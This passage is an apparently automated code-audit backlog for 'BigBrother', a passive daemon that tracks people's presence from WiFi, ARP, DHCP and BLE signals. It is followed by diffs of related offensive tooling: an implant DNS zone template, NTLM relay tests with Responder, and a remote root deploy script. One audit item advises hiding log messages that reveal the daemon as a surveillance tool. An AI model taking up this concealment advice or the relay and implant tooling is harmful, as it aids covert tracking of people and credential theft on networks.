decayed_devices = {mac: decay_device(dev) for mac, dev in devices.items()}
# State transitions outside lock
for person_id in person_ids:
update_person_state(person_id)
```
- **Acceptance:** Decay loop computes person states once per 60-second interval; no duplicate iterations per person
---
## P3 — Fix This Month (MEDIUM Code Quality or Noticeable Risk)
- [ ] **[MEDIUM]** `presence_daemon.py:468-538` High cyclomatic complexity in parse_dhcp() | Sources: code-auditor | Effort: S
- Description: 71 lines, 20 branches, 5 nesting levels; mixes header parsing + DHCP option parsing
- Fix: Extract packet validation to separate function; move DHCP option parsing to dedicated helper
- Remediation: `parse_dhcp_options(dhcp_payload) -> dict` returning option_type → value mapping
- [ ] **[MEDIUM]** `presence_daemon.py:326-361` Deep nesting in probe_sniffer() — 6 levels | Sources: code-auditor | Effort: S
- Description: Multiple if statements nested 6 levels; hard to follow control flow
- Fix: Extract frame validation logic into `validate_probe_request(data) -> Optional[str]` returning MAC or None
- [ ] **[MEDIUM]** `presence_daemon.py:576-609` Inconsistent error handling in decay_loop() | Sources: code-auditor | Effort: S
- Description: Catches all exceptions but silently continues; no distinction between transient and fatal errors
- Fix: Separate transient network errors (debug level) from state machine errors (error/warning level)
- [ ] **[MEDIUM]** `presence_daemon.py:282-284` Early return in update_person_state() leaves persons_lock unprotected | Sources: code-auditor | Effort: XS
- Description: If no devices found, returns inside devices_lock but person state not re-checked
- Fix: Re-check person state after lock release or defer return until both locks acquired
- [ ] **[MEDIUM]** `presence_daemon.py:437-439` Weak infrastructure IP filtering — empty set never populated | Sources: code-auditor | Effort: S
- Description: infrastructure_ips checked but never initialized; filter never applies
- Fix: Either populate from config at startup or remove dead code
- [ ] **[MEDIUM]** `presence_daemon.py:661-686` Daemon thread join() semantics — daemon=True threads not blocking | Sources: code-auditor | Effort: S
- Description: All threads created with daemon=True then joined; join() is vestigial
- Fix: Remove daemon=True flag (prefer explicit cleanup) or remove join() calls
- [ ] **[MEDIUM]** `presence_daemon.py:43-50` Logging fingerprints — tool identity in log messages | Sources: security-auditor | Effort: S
- Description: Messages like "Sensor daemon started", "Probe sniffer", "DHCP sniffer" identify daemon as surveillance tool
- Fix: Use generic messages ("Network listener probe active", "Listening for ARP events"); move identification to comments only
- [ ] **[MEDIUM]** `presence_daemon.py:296-323` HTTP webhook timeout under lock — blocks person state queries | Sources: security-auditor | Effort: S
- Description: persons_lock held during send_alert(); 5-second HTTP timeout blocks all state reads
- Fix: Snapshot person data under lock, release before send_alert():
```python
with persons_lock:
person = persons.get(person_id)
if person is None:
return
old_status = person.status
# ... state machine ...
person.status = new_status
# Outside lock
send_alert(person.name, "PRESENT", ...)
```
- [ ] **[MEDIUM]** `install.sh:20-35` Install script missing Matrix webhook configuration | Sources: env-validator | Effort: S
- Description: Systemd unit does not include PRESENCE_MATRIX_WEBHOOK; users must manually add
- Fix: Add Infisical integration; create start.sh wrapper that fetches webhook from vault at boot
- Remediation: `eval $(creds env bigbrother)` pattern in start.sh
- [ ] **[MEDIUM]** `presence_schema.sql:22` Missing index on occupancy_log(ts) | Sources: db-auditor | Effort: XS
- Description: High-frequency writes without ts index; time-range queries will full-table scan
- Fix: Add `CREATE INDEX idx_occupancy_ts ON occupancy_log(ts);`
- [ ] **[MEDIUM]** `presence_daemon.py:156, 172, 193, 208` Connection timeout too short (1 second) | Sources: db-auditor | Effort: XS
- Description: Under multi-threaded contention + synchronous journaling, SQLITE_BUSY errors likely
- Fix: Increase timeout to 10-30 seconds in all sqlite3.connect(timeout=...) calls OR enable WAL + NORMAL synchronous (via P2 #559)
- [ ] **[MEDIUM]** `presence_daemon.py` No tests exist for presence daemon | Sources: test-runner | Effort: L
- Description: Zero test coverage for 690-line daemon with 15+ functions
- Note: Per task instructions, tests not created by test-runner. Flag for human review if required as P1 acceptance criterion.
---
## P4 — Backlog (LOW Code Quality or Style)
- [ ] **[LOW]** `presence_daemon.py:601` Inefficient device pruning during iteration | Effort: XS
- Description: Deletes from dict during iteration (safe via deferred list but inelegant)
- Fix: Build new dict with comprehension: `devices = {mac: dev for mac, dev in devices.items() if elapsed_minutes < 120}`
- [ ] **[LOW]** `presence_daemon.py:612-614` Inline handler factory pattern creates class per request | Effort: XS
- Description: StatusHandler class defined in function, returns new class per request
- Fix: Define StatusHandler at module level, pass to HTTPServer
- [ ] **[LOW]** `presence_daemon.py:241-270` Bare on_signal() calls lack source context | Effort: S
- Description: Called from 5 sources but doesn't log caller/thread context
- Fix: Add logger context or thread names for debugging multi-threaded flow
- [ ] **[LOW]** `presence_schema.sql:1-34` No compound index on frequent queries | Effort: XS
- Description: idx_signals_mac and idx_signals_ts separate but queries filter on both
- Fix: Add `CREATE INDEX idx_signals_mac_ts ON signals(mac, ts);`
- [ ] **[LOW]** `install.sh:10-11` Unnecessary chown after mkdir | Effort: XS
- Description: mkdir with sudo, then chown may fail or be no-op
- Fix: Run entire install non-root with sudo only for systemd registration
- [ ] **[LOW]** `presence_schema.sql:1-28` Schema lacks enforced foreign keys | Effort: XS
- Description: REFERENCES present but PRAGMA foreign_keys never enabled
- Fix: Execute `PRAGMA foreign_keys=ON;` in init_db() before schema execution
- [ ] **[LOW]** `presence_daemon.py:142-147` No connection validation in init_db() | Effort: S
- Description: Never verifies schema creation succeeded or tables readable
- Fix: Add startup check to validate tables exist and are readable
---
## Summary Table
| Priority | Count | Effort | DevTrack | Status |
|----------|-------|--------|----------|--------|
| P1 | 4 | 3×S, 1×XS | #551-554 | BLOCKED until fixed |
| P2 | 6 | 2×M, 3×S, 1×XS | #555-560 | BLOCKED until fixed |
| P3 | 12 | 1×L, 8×S, 3×XS | — | Can run tests after P1+P2 |
| P4 | 7 | 1×S, 6×XS | — | Nice to have |
---
## Effort Breakdown
- **XS** (<30 min): 8 items (magic number, unused import, path mismatch, connection timeout, occupancy index, compound index, chown, foreign keys)
- **S** (30 min - 2 hr): 12 items (connection leak, race condition, struct validation, error handling, logging, webhook, deep nesting, nesting, etc.)
- **M** (2 - 8 hr): 2 items (BLE recovery, N+1 pattern, WAL mode + pragmas)
- **L** (1 - 3 days): 1 item (test suite)
**Minimal path to unblock deploy (P1+P2):** ~10 hours effort across 10 critical fixes.
---
## Deployment Gate
**Item #530 cannot advance to testing until:**
1. All P1 items (#551-554) fixed and verified
2. All P2 items (#555-560) fixed and verified
3. Code review confirms no regressions in:
- Signal processing pipeline
- Person state machine transitions
- Database persistence and recovery
- Thread safety (no new deadlocks)
**Testing verification checklist:**
- [ ] No SQLITE_BUSY errors under sustained signal load
- [ ] No connection exhaustion after 1 hour runtime
- [ ] Person state transitions fire correctly (no duplicates, no missed alerts)
- [ ] Status endpoint accessible on configurable port
- [ ] Database path matches install.sh defaults or env override
- [ ] BLE scanner recovers from transient errors
+1 -1
View File
@@ -5,7 +5,7 @@ Passive multi-signal WiFi/ARP/DHCP/BLE person presence tracking daemon for BigBr
## Quick Start
```bash
cd /path/to/bigbrother/presence
cd /home/n0mad1k/tools/bigbrother/presence
sudo bash install.sh
```
+3 -5
View File
@@ -9,7 +9,7 @@ warn() { echo -e "${YELLOW}[!]${NC} $*"; }
error() { echo -e "${RED}[-]${NC} $*"; exit 1; }
step() { echo -e "${CYAN}[*]${NC} ${BOLD}$*${NC}"; }
TARGET=""
TARGET="root@10.0.0.0"
SETUP_FLAGS=""
SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)"
@@ -19,8 +19,8 @@ while [[ $# -gt 0 ]]; do
--no-tools) SETUP_FLAGS="$SETUP_FLAGS --no-tools"; shift ;;
--reinstall) SETUP_FLAGS="$SETUP_FLAGS --reinstall"; shift ;;
-h|--help)
echo "Usage: $0 <user@host> [--enable-service] [--no-tools] [--reinstall]"
echo " user@host Target device (required, e.g. root@192.168.1.50)"
echo "Usage: $0 [user@host] [--enable-service] [--no-tools] [--reinstall]"
echo " user@host Target device (default: root@10.0.0.0)"
echo " --enable-service Enable and start bigbrother-core after setup"
echo " --no-tools Skip GitHub tool downloads"
echo " --reinstall Force reinstall all components"
@@ -31,8 +31,6 @@ while [[ $# -gt 0 ]]; do
esac
done
[[ -z "$TARGET" ]] && { echo "Usage: $0 <user@host> [options]"; echo " user@host is required (e.g. root@192.168.1.50)"; exit 1; }
HOST="${TARGET#*@}"
step "BigBrother remote deploy → ${TARGET}"
View File
+1 -1
View File
@@ -11,7 +11,7 @@
# Usage:
# from jinja2 import Template
# rendered = Template(open("selective.zone.j2").read()).render(
# implant_ip="192.168.1.50",
# implant_ip="10.0.0.0",
# target_domain="corp.local",
# extra_domains=["intranet.company.com", "vpn.company.com"]
# )
+18 -18
View File
@@ -67,27 +67,27 @@ class TestNTLMRelayStructure:
class TestProtocolInference:
def test_infer_smb_from_url(self, relay):
protos = relay._infer_protocols(["smb://192.168.1.10"])
protos = relay._infer_protocols(["smb://10.0.0.0"])
assert "smb" in protos
def test_infer_ldap_from_url(self, relay):
protos = relay._infer_protocols(["ldap://192.168.1.10"])
protos = relay._infer_protocols(["ldap://10.0.0.0"])
assert "ldap" in protos
def test_infer_multiple_protocols(self, relay):
protos = relay._infer_protocols([
"smb://192.168.1.10",
"ldap://192.168.1.20",
"adcs://192.168.1.30",
"smb://10.0.0.0",
"ldap://10.0.0.0",
"adcs://10.0.0.0",
])
assert protos == {"smb", "ldap", "adcs"}
def test_infer_defaults_to_smb(self, relay):
protos = relay._infer_protocols(["192.168.1.10"])
protos = relay._infer_protocols(["10.0.0.0"])
assert "smb" in protos
def test_unknown_protocol_ignored(self, relay):
protos = relay._infer_protocols(["fake://192.168.1.10", "smb://10.0.0.1"])
protos = relay._infer_protocols(["fake://10.0.0.0", "smb://10.0.0.1"])
assert "smb" in protos
assert "fake" not in protos
@@ -103,12 +103,12 @@ class TestProtocolInference:
class TestTargetFile:
def test_write_target_file(self, relay):
relay._targets = ["smb://192.168.1.10", "ldap://192.168.1.20"]
relay._targets = ["smb://10.0.0.0", "ldap://10.0.0.0"]
relay._write_target_file()
content = Path(relay._target_file).read_text()
assert "smb://192.168.1.10" in content
assert "ldap://192.168.1.20" in content
assert "smb://10.0.0.0" in content
assert "ldap://10.0.0.0" in content
def test_write_target_file_one_per_line(self, relay):
relay._targets = ["smb://10.0.0.1", "smb://10.0.0.2", "smb://10.0.0.3"]
@@ -169,14 +169,14 @@ class TestResponderCoordination:
def test_update_exclusions_extracts_ips(self, relay):
mock_responder = MagicMock()
relay._responder_mgr = mock_responder
relay._targets = ["smb://192.168.1.10", "ldap://192.168.1.20:389"]
relay._targets = ["smb://10.0.0.0", "ldap://10.0.0.0:389"]
relay._update_responder_exclusions()
mock_responder.set_relay_targets.assert_called_once()
ips = mock_responder.set_relay_targets.call_args[0][0]
assert "192.168.1.10" in ips
assert "192.168.1.20" in ips
assert "10.0.0.0" in ips
assert "10.0.0.0" in ips
def test_no_responder_no_error(self, relay):
relay._responder_mgr = None
@@ -201,15 +201,15 @@ class TestResponderCoordination:
class TestAddTarget:
def test_add_new_target(self, relay):
result = relay.add_target("smb://192.168.1.50")
result = relay.add_target("smb://10.0.0.0")
assert result is True
assert "smb://192.168.1.50" in relay._targets
assert "smb://10.0.0.0" in relay._targets
def test_add_duplicate_target(self, relay):
relay.add_target("smb://192.168.1.50")
result = relay.add_target("smb://192.168.1.50")
relay.add_target("smb://10.0.0.0")
result = relay.add_target("smb://10.0.0.0")
assert result is False
assert relay._targets.count("smb://192.168.1.50") == 1
assert relay._targets.count("smb://10.0.0.0") == 1
# ---------------------------------------------------------------------------
+1 -9
View File
@@ -22,17 +22,9 @@ def get_credential_encryption_key() -> Optional[bytes]:
return _cached_key
try:
import os
creds_bin = os.environ.get("BB_CREDS_BIN")
if not creds_bin:
raise FileNotFoundError(
"BB_CREDS_BIN environment variable not set. "
"Set it to the path of your Infisical creds CLI binary, e.g. "
"export BB_CREDS_BIN=/usr/local/bin/creds"
)
# Try to get CREDENTIAL_ENCRYPTION_KEY from Infisical via creds CLI
result = subprocess.run(
[creds_bin, "get", "CREDENTIAL_ENCRYPTION_KEY"],
["/home/n0mad1k/.local/bin/creds", "get", "CREDENTIAL_ENCRYPTION_KEY"],
capture_output=True,
timeout=5,
text=True,